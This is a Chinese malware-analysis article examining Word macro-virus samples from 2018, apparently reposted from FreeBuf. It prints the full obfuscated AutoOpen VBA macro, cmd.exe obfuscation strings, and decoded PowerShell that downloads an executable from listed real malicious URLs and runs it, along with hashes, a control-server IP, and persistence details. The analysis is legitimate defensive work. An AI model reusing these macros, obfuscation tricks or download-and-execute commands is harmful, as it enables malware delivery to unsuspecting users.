WORD宏病毒老而弥坚花样百出

栏目: ASP.NET · 发布时间: 7年前

内容简介:基于宏的 word 恶意攻击文件是社交工程类攻击的一个重要手段,虽说此类攻击技术很简单,也很老旧,在大多数安全技术人员看来有点 low 甚至对其不屑一顾(毕竟攻击成功依赖目标用户打开文档后的二次交互,被发现后攻击脚本易被分析等),但是不可否认,由于宏脚本制作简单、受 Office 和 windows 版本限制小等特点,深受各类网络攻击群体的厚爱。近期连续获取的几个 word 宏病毒样本,主要是通过对 VBA 脚本和执行命令的差异化来实现与安全软件的对抗。这几个文档显示内容一样,都是打开后要求一张图片提示用

*本文原创作者:cgf99,本文属FreeBuf原创奖励计划,未经许可禁止转载

一、前言

基于宏的 word 恶意攻击文件是社交工程类攻击的一个重要手段,虽说此类攻击技术很简单,也很老旧,在大多数安全技术人员看来有点 low 甚至对其不屑一顾(毕竟攻击成功依赖目标用户打开文档后的二次交互,被发现后攻击脚本易被分析等),但是不可否认,由于宏脚本制作简单、受 Office 和 windows 版本限制小等特点,深受各类网络攻击群体的厚爱。近期连续获取的几个 word 宏病毒样本,主要是通过对 VBA 脚本和执行命令的差异化来实现与安全软件的对抗。这几个文档显示内容一样,都是打开后要求一张图片提示用户要开启宏。此外,VBA 代码基本一致,还有执行的命令字符串形式相同,应该是来自同一个团体的攻击样本。下面针对其中的一个样本进行分析。

样本文档打开后,显示一幅图片,其中文字提示用户需要开启宏才能观看。同时 office 也弹出窗口要求启动宏,如下图所示。

WORD宏病毒老而弥坚花样百出

在点击「启用内容」后,文档内容没有变化,还是原来的图片。

WORD宏病毒老而弥坚花样百出 随后,系统后台下载文件并执行,具体情况如下。

1、网络下载

Winword.exe 进程从网络下载生成%Temp%\jCz.exe 文件名运行。下载的 URL 地址为 http://andrewdavis-ew.me.uk/4W/ ,下载的文件是一个 PE 可执行文件。具体网络数据包如下图所示:

WORD宏病毒老而弥坚花样百出

2、复制自删除

jCz.exe 运行后复制自身到 C:\Users\[登录用户名]\AppData\Local\Microsoft\Windows\nirmalaenglish.exe 并运行,随后退出并删除自身。因此,最终在目标系统上只有一个 nirmalaenglish.exe 存在。

3、进程和网络连接情况

Word 打开后的用 tasklist 列举进程情况如下图所示。

WORD宏病毒老而弥坚花样百出

其中,Nirmalaenglish.exe 运行后,连接的控制服务器是 198.0.36.237。

WORD宏病毒老而弥坚花样百出

Nirmalaenglish.EXE 不兼容老的 XP 系统。

WORD宏病毒老而弥坚花样百出 nirmalaenglish.exe 是 32 位 PE 文件,在任务管理器显示如下图所示。

WORD宏病毒老而弥坚花样百出

4、文件属性

文件伪装的属性如下图所示,竟然伪装的是一个 DLL 文件。

WORD宏病毒老而弥坚花样百出

5、启动项

nirmalaenglish.exe 运行后在 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 下创建自启动项。

WORD宏病毒老而弥坚花样百出

6、样本文件情况

文件名 大小 MD5 hash SHA1 hash
doc 136,832 dbfca9e4cd3fb6943b67d5d13ad5bf13 463463fec8c771f5ebbe403b82ce98b5ca5174de
jCz.exe nirmalaenglish.exe 176,128 588cf2ab08d1cdf926aacb8bbe43a4c1 b4608ff7f4a6c1d2d61ac582bff8eee9919491a5

二、DOC 样本分析

1、文件情况

用 winhex 打开,是复合文档格式的,以 D0CF11E0A1BA1AE1 开始。在 0x0A10 开始的位置,有明显的明文字符串。包含 cmd.exe /c 命令字符串。如下图所示:

WORD宏病毒老而弥坚花样百出

2、VBA 静态分析

用 olevba 分析发现该文档包含宏,并且利用 AutuOpen 函数随文档开启自动运行。如下两幅图所示。

WORD宏病毒老而弥坚花样百出

WORD宏病毒老而弥坚花样百出

3、VBA 动态调试

在虚拟机环境里面,打开文档后允许宏运行,利用 Visual Basic 编辑器进行调试。打开后的 VBA 代码如下所示:

WORD宏病毒老而弥坚花样百出

完整的 VBA 代码如下表所示:

Sub AutoOpen()
   On Error Resume Next
      Select Case lHSiIEjEJ
         Case 106689022
JkAwSR = Hex(CHcnonO)
            VoiZokd = Cos(193760893)
            kIorX = 152236150
         Case 146777760
dZHLZnmw = Hex(YnRzTf)
            mivVkci = Sqr(207880165 / CSng(45341169 - Cos(303879610 - 79268186) + dhikG + Rnd(8156933 - 72282793)))
            GKvBwd = Hex(MqMIQcT)
End Select
   On Error Resume Next
      Select Case uGPztU
         Case 80066148
TwAnoFVEa = Hex(pJsajRr)
            zjYRSj = Cos(158949450)
            SiMKnUzKA = 305204326
         Case 295047977
CipluS = Hex(EVTawFd)
            dUCfTPv = Sqr(252789547 / CSng(285500423 - Cos(287474754 - 105488610) + VMhalYbO + Rnd(125198942 - 301657600)))
            WADTXwDO = Hex(KzUpw)
End Select
Set cACBrcEf = Shapes("AtwGUaJHEhkMnR")
   On Error Resume Next
      Select Case fmlmWw
         Case 284838776
wdMkv = Hex(zwzCFh)
            RGFJZVwlL = Cos(73989805)
            TmXDAbnQm = 105628658
         Case 136942984
mKuZv = Hex(TwfZU)
            jfcwdu = Sqr(136714754 / CSng(259871207 - Cos(120778133 - 126999894) + ItuzXP + Rnd(269546996 - 311219670)))
            wFTzivB = Hex(rPOuRKXU)
End Select
   On Error Resume Next
      Select Case TRCZGYIq
         Case 278864415
fPpSFjL = Hex(iicWID)
            kzwUE = Cos(252112167)
            wboAl = 241782525
         Case 21543657
mJiDTn = Hex(NSIwU)
            jDzJzZW = Sqr(163099183 / CSng(67651671 - Cos(145615829 - 252412413) + ZTOdEvbJQ + Rnd(316297959 - 122387720)))
            FjMhljLHR = Hex(PXrqlLj)
End Select
   On Error Resume Next
      Select Case svIWYGz
         Case 59045107
fOYvwidX = Hex(paMCF)
            XYRtJA = Cos(138258275)
            ERrbUBzu = 40910085
         Case 155164512
qljzTWz = Hex(ahqMqqv)
            zoEzkKjTd = Sqr(33412843 / CSng(16128483 - Cos(57282106 - 146982061) + uToYO + Rnd(177744907 - 281382074)))
            zXJduzO = Hex(AlYCz)
End Select
   On Error Resume Next
      Select Case vzVnJuf
         Case 312510715
GEtEz = Hex(ulWXTFwOD)
            sZnVF = Cos(341309453)
            aiDMBqwV = 309396274
         Case 161495380
iNuzO = Hex(QTFiP)
            wjSmRUr = Sqr(168753056 / CSng(24970975 - Cos(44646283 - 109666873) + atmtua + Rnd(9431304 - 158775682)))
            vfpGvKiF = Hex(uJKHFcjD)
End Select
dDHLRf = "" + BRnWYSbU + tjFMUO + rhpHPj + cACBrcEf.TextFrame.TextRange.Text + fiVdGi + EQkTIo + cdMsji
   On Error Resume Next
      Select Case kCfbk
         Case 294317110
JtAzQjlZu = Hex(XZBiwCnb)
            owEzaoTuJ = Cos(234540993)
            JVjjtDSz = 151975382
         Case 221438674
HIinLWd = Hex(zrzpEzFw)
            JwmcpFi = Sqr(12870099 / CSng(296564319 - Cos(139888679 - 240856071) + kpENMovPm + Rnd(189462999 - 322294993)))
            XkzKjb = Hex(oHsoavzR)
End Select
   On Error Resume Next
      Select Case ticcaKu
         Case 287077696
MbvinLuJc = Hex(OHwiwKvI)
            RvAWAMPw = Cos(123923334)
            hqnzN = 17764142
         Case 337814127
tpcNdEZGU = Hex(AdSiBGZzL)
            vVYPb = Sqr(52816491 / CSng(310122531 - Cos(284558712 - 176933727) + ibzTB + Rnd(130728763 - 70988708)))
            Rwwts = Hex(vpjCpj)
End Select
   On Error Resume Next
      Select Case TNnZvREPI
         Case 41142863
LGdEuFowa = Hex(cYGZt)
            BIIjiKk = Cos(126203819)
            ZRapb = 64895411
         Case 163894775
IWnosb = Hex(kElnr)
            hzCqCHzW = Sqr(77823821 / CSng(5439857 - Cos(146509680 - 69963338) + VnNHzzDEz + Rnd(22079052 - 39759468)))
            JhDzZZwb = Hex(rRYwYC)
End Select
Set LqfarBBF = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + lSBsq)
   On Error Resume Next
      Select Case FzziN
         Case 243734976
jNzcti = Hex(HADXPAVYW)
            FGFWj = Cos(115178555)
            tJadRo = 45778859
         Case 84892833
XDbzjqKOd = Hex(uwkSmhcpY)
            fwAvm = Sqr(225066432 / CSng(240888853 - Cos(54875134 - 101861368) + MwKRdRwZb + Rnd(104077630 - 320167309)))
            tpXOJrnvp = Hex(iFSbDfKwF)
End Select
   On Error Resume Next
      Select Case DQrXWoHjF
         Case 227852834
hLVAGz = Hex(GWLYJ)
            tVtLZLRPj = Cos(43945134)
            PJwTIQX = 291842291
         Case 290513551
doOGO = Hex(IlumiHv)
            AuvKuRC = Sqr(6064386 / CSng(30182182 - Cos(294207161 - 239403095) + BjwGnjRpQ + Rnd(217234607 - 201640735)))
            KiJil = Hex(wIOSTN)
End Select
   On Error Resume Next
      Select Case QBNwCWAQ
         Case 65362740
nQVmVEvY = Hex(LEQhSSOm)
            DrSKwckJh = Cos(188989781)
            zuzuEiO = 30322423
         Case 122358794
WiWcjizT = Hex(iojIMSNcS)
            CMWTukQEW = Sqr(188879811 / CSng(232929535 - Cos(26369709 - 62340469) + GjMviO + Rnd(329247112 - 239650647)))
            mwpPmmbr = Hex(vLPaA)
End Select
Const citlbP = 0
   On Error Resume Next
      Select Case jwiMwS
         Case 107200381
TiSBk = Hex(QrzZKWaip)
            AphqZFUzt = Cos(232419654)
            vaiFo = 97021820
         Case 210271065
AtjAbUuw = Hex(KtkAIqMGl)
            jONUIBm = Sqr(136803807 / CSng(113397089 - Cos(129486342 - 132695481) + HuzowQp + Rnd(34714082 - 147434178)))
            GdnzwJn = Hex(SwDpzWnY)
End Select
   On Error Resume Next
      Select Case CHpcz
         Case 236679346
NkvZmPD = Hex(vjzRpQFAO)
            UlaoUhwm = Cos(220324635)
            WXiNpk = 279034050
         Case 262528533
zljNuQQH = Hex(qkwGbvcwz)
            QNbziqW = Sqr(158805557 / CSng(331003561 - Cos(249131549 - 186665267) + aRQQu + Rnd(267242902 - 158055032)))
            XDaCwwPP = Hex(mkqmRXWWl)
End Select
   On Error Resume Next
      Select Case SDDAcZCAt
         Case 264062545
HCPMiiJp = Hex(WAJfWztI)
            iXJHTIoNV = Cos(438513)
            AIqPq = 200659759
         Case 237171322
zCdwc = Hex(ZStYicj)
            ILQazjHXR = Sqr(56993264 / CSng(59190836 - Cos(231064522 - 258838986) + JuosPp + Rnd(72157320 - 273985578)))
            ajitq = Hex(prXaFAfwQ)
End Select
   On Error Resume Next
      Select Case IWOLfzJ
         Case 20437470
kEziC = Hex(ZwzwOV)
            GUGjj = Cos(144539995)
            bYKjFo = 12099378
         Case 329409845
Nnuhl = Hex(rlDtu)
            MmYTEFQu = Sqr(30544200 / CSng(312871809 - Cos(110793117 - 259553222) + aLuQZOJbu + Rnd(233785588 - 68838494)))
            nREcVj = Hex(bjPmmNAi)
End Select
   On Error Resume Next
      Select Case zlmso
         Case 199065590
HUJwYYLB = Hex(KNMcb)
            nScQoIwwi = Cos(35506963)
            Achka = 341903551
         Case 50623229
NTfcoN = Hex(FhoVqU)
            CzTPYpdI = Sqr(159859482 / CSng(205718420 - Cos(281831079 - 119054328) + iUUkNEI + Rnd(91312236 - 190175986)))
            qoDaD = Hex(HIOlUa)
End Select
   On Error Resume Next
      Select Case HnZMhinRk
         Case 233461681
nGUnkw = Hex(vwAzwj)
            BJMbnJUdW = Cos(64086583)
            EwNNSso = 283743450
         Case 146545611
MqzAbf = Hex(cqHqpUfV)
            qwZwJjK = Sqr(81091076 / CSng(214691539 - Cos(2246847 - 11439174) + dILFMdpS + Rnd(84892047 - 176965475)))
            dlBfCk = Hex(disrCr)
End Select
LqfarBBF.Run# dDHLRf, citlbP
   On Error Resume Next
      Select Case vKprbOsl
         Case 203381594
VCLcBRHB = Hex(iAZbjRnl)
            jSpMf = Cos(328073300)
            RjOwGqbI = 146719873
         Case 7524072
EqSEBlc = Hex(oWiJaodjB)
            tIXNtk = Sqr(240178619 / CSng(301643513 - Cos(31914199 - 192782238) + YQFirjuqi + Rnd(111920305 - 25450526)))
            fJMiXnIc = Hex(awdsC)
End Select
   On Error Resume Next
      Select Case ULnQjHCk
         Case 333193034
QlAssNl = Hex(LmRnTIZw)
            AsHVuS = Cos(266710826)
            dEhbDG = 257143757
         Case 251218450
iWEAMqHds = Hex(Whrirj)
            CrrDVSMb = Sqr(98410875 / CSng(57929923 - Cos(30863787 - 61288942) + fiBVi + Rnd(19525726 - 290538601)))
            nBzsCC = Hex(kmZpsQ)
End Select
   On Error Resume Next
      Select Case TJMuV
         Case 178742339
cwjFCFY = Hex(viBKDN)
            WzStL = Cos(191381702)
            IURQmKZt = 311787294
         Case 323568830
Iwjdk = Hex(vBFbrVQIv)
            nPcbPA = Sqr(267326832 / CSng(274185099 - Cos(82227673 - 260914150) + SOrCnEDv + Rnd(98505983 - 109036895)))
            MZzJXMQwB = Hex(rrliS)
End Select
   On Error Resume Next
      Select Case ODrSwLSvc
         Case 12180480
TvcTSGb = Hex(jAfdiu)
            YOpfnvfwM = Cos(322100654)
            XtFEFzEb = 313218724
         Case 83653085
zZQGHGw = Hex(ZIXBmDGz)
            bnwPWk = Sqr(229157365 / CSng(225973262 - Cos(68101884 - 184463785) + fZGwivOQP + Rnd(221730088 - 259959417)))
            CdWZzrS = Hex(zBqAI)
End Select
End Sub

经过单步调试分析,其实上述 VBA 代码中包含一堆的无效代码,应该是用于混淆代码加大查杀难度。其实最终的功能代码可以简化如下

Sub AutoOpen()
On Error Resume Next
Set cACBrcEf = Shapes("AtwGUaJHEhkMnR")
Set LqfarBBF = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" )
dDHLRf = cACBrcEf.TextFrame.TextRange.Text
LqfarBBF.Run# dDHLRf, 0
End Sub

其中,  cACBrcEf.TextFrame.TextRange.Text 就是 Shapes(“AtwGUaJHEhkMnR”) 的文本框内容,也就是上文说的在 0x0A10 处包含 cmd.exe /c 等字符串的内容。72C24DD5-D70A-438B-8A42-98424B88AFB8 是 WScript.Shell.1 的 CLSID。也就是说,AutoOpen 函数的最终功能就是执行 0x0A10 处的那一段字符串命令。

4、命令分析

AutoOpen 函数运行的命令如下表所示,这段命令其实可以分为三部分。如表用不同的颜色标注。

c:\VmhwaLZf\RdRhrbwjCvLZDv\lCrjjDSiQ\..\..\..\windows\system32\cmd.exe /c %COMSPEC% /V:O/C"set SNT=                 }}{hctac}}kaerb;Uar$ ssecorP-tratS;)Uar$(elifotevas.wvt$;)ydoBesnopser.QjY$(etirw.wvt$;1 = epyt.wvt$;)(nepo.wvt${ )'*ZM*' ekil- txetesnopser.QjY$( fI;)(dnes.QjY$;)0,KlB$,'TEG'(nepo.QjY${yrt{)LLN$ ni KlB$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = wvt$;'ptthlmx.2lmxsm' moc- tcejbO-weN= QjY$;)'exe.zCj\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=Uar$;)'@'(tilpS.'Y/ur.luanrab-robdopotva//:<a href="/cdn-cgi/l/email-protection" data-cfemail="7e0e0a0a163e470a">[email protected]</a>/au.moc.krowtenstrapotua//:<a href="/cdn-cgi/l/email-protection" data-cfemail="275753534f676c6e4e5d44545e">[email protected]</a>/ua.moc.noitcurtsnoccke//:<a href="/cdn-cgi/l/email-protection" data-cfemail="1d6d6969755d442c735354256a">[email protected]</a>/moc.gniniartatarebilativ//:<a href="/cdn-cgi/l/email-protection" data-cfemail="7e0e0a0a163e294a">[email protected]</a>/ku.em.we-sivadwerdna//:ptth'=LLN$;'aVA'=jLE$ llehsrewop&&for /L %q in (568,-1,0)do set wM=!wM!!SNT:~%q,1!&&if %q==0 echo !wM:~4! |FOR /F "delims=.7XGv tokens=2" %u IN ('assoc^^^|findstr 1x')DO %u -"

第一部分,「VmhwaLZf\RdRhrbwjCvLZDv\lCrjjDSiQ」是无效指令,主要用于混淆。最终调用 c:\windows\system32\cmd.exe /c %COMSPEC% /V:O/C。

第二部分,「for /L %q in (568,-1,0)do set wM=!wM!!SNT:~%q,1!&&if %q==0echo !wM:~4!」命令是把它前面的 569 个字节顺序前后倒置一下,然后在开头加上「echo」字符串。最后生成的内容如下表。

echo powershell$ELj='AVa';$NLL='http://andrewdavis-ew.me.uk/<a href="/cdn-cgi/l/email-protection" data-cfemail="f7c3a0b79f838387">[email protected]</a>://vitaliberatatraining.com/<a href="/cdn-cgi/l/email-protection" data-cfemail="8afdb2c3c4e4bbd3cae2fefefa">[email protected]</a>://ekcconstruction.com.au/<a href="/cdn-cgi/l/email-protection" data-cfemail="dea7adbda4b797959eb6aaaaae">[email protected]</a>://autopartsnetwork.com.ua/<a href="/cdn-cgi/l/email-protection" data-cfemail="f783ceb79f838387">[email protected]</a>://avtopodbor-barnaul.ru/Y'.Split('@');$raU=([System.IO.Path]::GetTempPath()+'\jCz.exe');$YjQ=New-Object -com 'msxml2.xmlhttp';$tvw = New-Object -com'adodb.stream';foreach($BlK in $NLL){try{$YjQ.open('GET',$BlK,0);$YjQ.send();If($YjQ.responsetext -like '*MZ*') {$tvw.open();$tvw.type =1;$tvw.write($YjQ.responseBody);$tvw.savetofile($raU);Start-Process$raU;break}}catch{}}

此时,基本就一目了然了。该段 powershell 脚本整理整理如下表所示:

$ELj='AVa';

$NLL=' http://andrewdavis-ew.me.uk/4W @ http://vitaliberatatraining.com/w8INn1Yhttp://ekcconstruction.com.au/yscziIK @ http://autopartsnetwork.com.ua/t9 @ http://avtopodbor-barnaul.ru/Y '.Split('@');

$raU=([System.IO.Path]::GetTempPath()+'\jCz.exe');       //下载保存为%tmp%\jCz.exe

$YjQ =New-Object -com'msxml2.xmlhttp';

$tvw = New-Object -com'adodb.stream';

foreach($BlK in $NLL)       //循环从上述 URL 下载

{

Try

{

$YjQ.open('GET',$BlK,0);

$YjQ.send();

If($YjQ.responsetext -like '*MZ*') //下载数据头包含「MZ」,PE 文件

{

$tvw.open();

$tvw.type = 1;

$tvw.write($YjQ.responseBody);

$tvw.savetofile($raU);//写入本地文件

Start-Process$raU;//执行

Break //从任意一个 URL 下载成功即可。

}

}

catch{}

}

我们可以看到,恶意文档用于传播的下载域名有五个,其中前两个 URL 还在线能用,后面三个访问无效(不知道是否用作备用),如下表所示。【截至 2018 年 11 月 28 日】

1 http://andrewdavis-ew.me.uk/4W 在线
2 http://vitaliberatatraining.com/w8INn1Y 在线
3 http://ekcconstruction.com.au/yscziIK 无效
4 http://autopartsnetwork.com.ua/t9 无效
5 http://avtopodbor-barnaul.ru/Y 无效

第三部分,「FOR/F “delims=.7XGv tokens=2″ %u IN (‘assoc^^^|findstr 1x’)DO %u -」。其中 assoc|findstr1x 执行后的结果是「.ps1xml=Microsoft.PowerShellXMLData.1」,也就是说把字符串「.ps1xml=Microsoft.PowerShellXMLData.1」用「.7XGv」作为分隔符分割,最终获取的命令就是「powershell」字符串,用「-」作为参数,表示 powersehll 的参数来自标准的输入。因此,最终的结果就是利用 powershell 执行前面的脚本,相当于 cmd.exe /V:O/C echo「命令或脚本」|powershell -。

5、其他样本情况

其他的几个样本与上面分析的样本形式基本一致,差别主要在 VBA 脚本做了一些微调,比如 shapes 对象命名名称不同、命令字符串进行修改等。

如下表所示:

序号 1
Shapes 对象名 Hzwjzv = Shapes(“clSUStuE”)
Run 执行 ZOFvj = Array(zCXww, ijOMk.Run!(fTjnCb, MqOqlrVB), fvPNOZart)
命令字符串内容 “C:\Windows\system32\cmd.exe” /V:ON/C”set gE=;’Rva’=fXz$}}{hctac}};kaerb;’vsQ’=DJz$;SuJ$ metI-ekovnI{ )00008 eg- htgnel.)SuJ$ metI-teG(( fI;’LZT’=Ewu$;)SuJ$ ,aMK$(eliFdaolnwoD.Vft${yrt{)jsa$ ni aMK$(hcaerof;’exe.’+Lhn$+’\'+pmet:vne$=SuJ$;’UzE’=PPl$;’534′ = Lhn$;’Prw’=Bfm$;)’@'(tilpS.’2rrBEGE/ur.8z.gnidluom.2//:[email protected]/yu.moc.aidla//:[email protected]/20000/tnetnoc-pw/ra.ude.tnu.noisnetxeairaterces//:[email protected]/rb.moc.megamieartel//:[email protected]/segamizetis/su.soidutsee//:ptth’=jsa$;tneilCbeW.teN tcejbo-wen=Vft$;’Sfp’=Sqk$ llehsrewop&&for /L %n in (491,-1,0)do set Vr=!Vr!!gE:~%n,1!&&if %n lss 1 echo !Vr:~4! |po%windir:~-2,1%e%ProgramFiles:~4,-11%she%ProgramFiles:~13,1%%ProgramW6432:~13,-2% -”

我们可以看到,与上面的样本相比,主要是第三部分进行了变化。po%windir:~-2,1%e%ProgramFiles:~4,-11%she%ProgramFiles:~13,1%%ProgramW6432:~13,-2% -字符串就是在不同的字符串中取得特定的字符,执行结果就是「powershell -u」。

样本用于传播的下载域名有五个,其中第一个无效,后面四个访问下载 EXE 文件。【截至 2018 年 11 月 30 日】

1 http://eestudios.us/sitezimages/wRfui 无效
2 http://letraeimagem.com.br/zmDH 在线
3 http://secretariaextension.unt.edu.ar/wp-content/00002/WYXvv1vV 在线
4 http://aldia.com.uy/WJ01ISht 在线
5 http://2.moulding.z8.ru/EGEBrr2 在线

6、cmd.exe /v:O

命令的第一部分调用的是 cmd.exe /v:on /c 的指令,cmd.exe 增加/v 的操作是为了增强命令字符串的混淆程度。根据 cmd.exe 的命令帮助,/v 是使用!作为分隔符启用延迟的环境变量扩展。如下图所示:

WORD宏病毒老而弥坚花样百出 较早前一个样本包含的命令字符串如下表所示,混乱。

c:\jKWjzDXFSEjw\nPNoAZv\vbzdFqh\..\..\..\windows\system32\cmd.exe /c %COMSPEC%, ,,,,/V^:O,,,/C",,(,(s^e^t mk1=  ^ ^  ^  ^ ^  ^     ^ ^ }}{^hc^t^ac^}}kaer^b;V^j^F$^ s^s^ec^or^P^-^tr^a^tS;^)Vj^F^$^(^e^l^if^o^t^eva^s^.w^la^$^;^)ydo^B^esn^o^ps^er.^J^F^w$^(etir^w^.w^l^a$;1^ =^ ^epy^t^.^wl^a$;^)^(nep^o^.^w^l^a^${ ^)^'^Z^M^'^ qe-^ tx^e^t^esnop^ser.^J^F^w$^( f^I;^)^(^dne^s^.J^Fw^$;^)^0,^Tj^z$,^'^T^EG'^(nep^o^.^JFw^${^yr^t{^)caK^$^ ni^ ^T^jz^$^(hc^a^er^of;^'ma^er^t^s.^bd^oda^' moc^-^ ^tc^e^j^b^O^-^w^eN =^ ^w^l^a^$;^'ptth^lm^x.^2l^m^x^sm'^ moc^-^ tc^ejb^O-^weN^= JFw$^;^)^'exe.h^F^d\^'^+^)^(h^ta^P^pme^T^t^eG^::^]h^ta^P^.^O^I^.^met^syS[^(=VjF^$^;^)^'@'^(ti^l^p^S.'Q^q^lc^picu^Yr/moc^.skc^artm^urdevil//^:ptt^h^@p^p4H^LL^GU^58/moc^.evi^t^av^onni^o^fn^i//:p^t^<a href="/cdn-cgi/l/email-protection" data-cfemail="2a5e426a4e58535f78">[email protected]</a>^efe/moc^.noi^t^ani^ts^e^d^yt^ua^e^b^s^yni^t^s^e^d//:p^t^t^<a href="/cdn-cgi/l/email-protection" data-cfemail="91f9d1">[email protected]</a>^wcV^L^oL^m/^m^oc^.^s^tf^i^g^il^a^uq//:^pt^t^h^@^Hz^hu^6ze^6^K^f/gr^o.^a^m^on^os^og//^:^pt^th^'=c^a^K$;'z^jF^'^=^zF^i$ ^l^lehsr^ew^op),,,)&&,,f^or,,,/^L,,,%^Z,^in,(^+^57^1,^,,^,^,^-^1^,^,,,,0),,,,,^do,,(,(,,,,,^s^e^t ^PzN^k=!^PzN^k!!mk1:~

解析后其内含的 powershell 脚本如下表所示:

powershell $iFz='Fjz';$Kac='http://gosonoma.org/<a href="/cdn-cgi/l/email-protection" data-cfemail="83e5c8b5e6f9b5f6ebf9cbc3ebf7f7f3">[email protected]</a>://qualigifts.com/<a href="/cdn-cgi/l/email-protection" data-cfemail="761b3a193a201501361e020206">[email protected]</a>://destinysbeautydestination.com/<a href="/cdn-cgi/l/email-protection" data-cfemail="dcb9bab98ea9a5aeb89cb4a8a8ac">[email protected]</a>://infoinnovative.com/<a href="/cdn-cgi/l/email-protection" data-cfemail="39010c6c7e7575710d494979514d4d49">[email protected]</a>://livedrumtracks.com/rYucipclqQ'.Split('@');$FjV=([System.IO.Path]::GetTempPath()+'\dFh.exe');$wFJ=New-Object -com 'msxml2.xmlhttp';$alw = New-Object -com'adodb.stream';foreach($zjT in $Kac){try{$wFJ.open('GET',$zjT,0);$wFJ.send();If($wFJ.responsetext -eq 'MZ') {$alw.open();$alw.type = 1;$alw.write($wFJ.responseBody);$alw.savetofile($FjV);Start-Process$FjV;break}}catch{}} 

用于下载的域名如下表:【截至 2018 年 11 月 30 日】

1 http://gosonoma.org/fK6ez6uhzH 无效
2 http://qualigifts.com/mLoLVcw 无效
3 http://destinysbeautydestination.com/efeRuyrd 在线
4 http://infoinnovative.com/85UGLLH4pp 无效
5 http://livedrumtracks.com/rYucipclqQ 无效

三、结束语

1、根据观察,此类宏病毒文档在持续变化中,应该是一直在进行免杀。

2、本次样本 VBA 脚本还是蛮有创意的,攻击者的脚本能力很强。

3、传播下载的域名也在持续变化中。

*本文原创作者:cgf99,本文属FreeBuf原创奖励计划,未经许可禁止转载


以上所述就是小编给大家介绍的《WORD宏病毒老而弥坚花样百出》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Web Designer's Idea Book

The Web Designer's Idea Book

Patrick Mcneil / How / 2008-10-6 / USD 25.00

The Web Designer's Idea Book includes more than 700 websites arranged thematically, so you can find inspiration for layout, color, style and more. Author Patrick McNeil has cataloged more than 5,000 s......一起来看看 《The Web Designer's Idea Book》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

SHA 加密
SHA 加密

SHA 加密工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具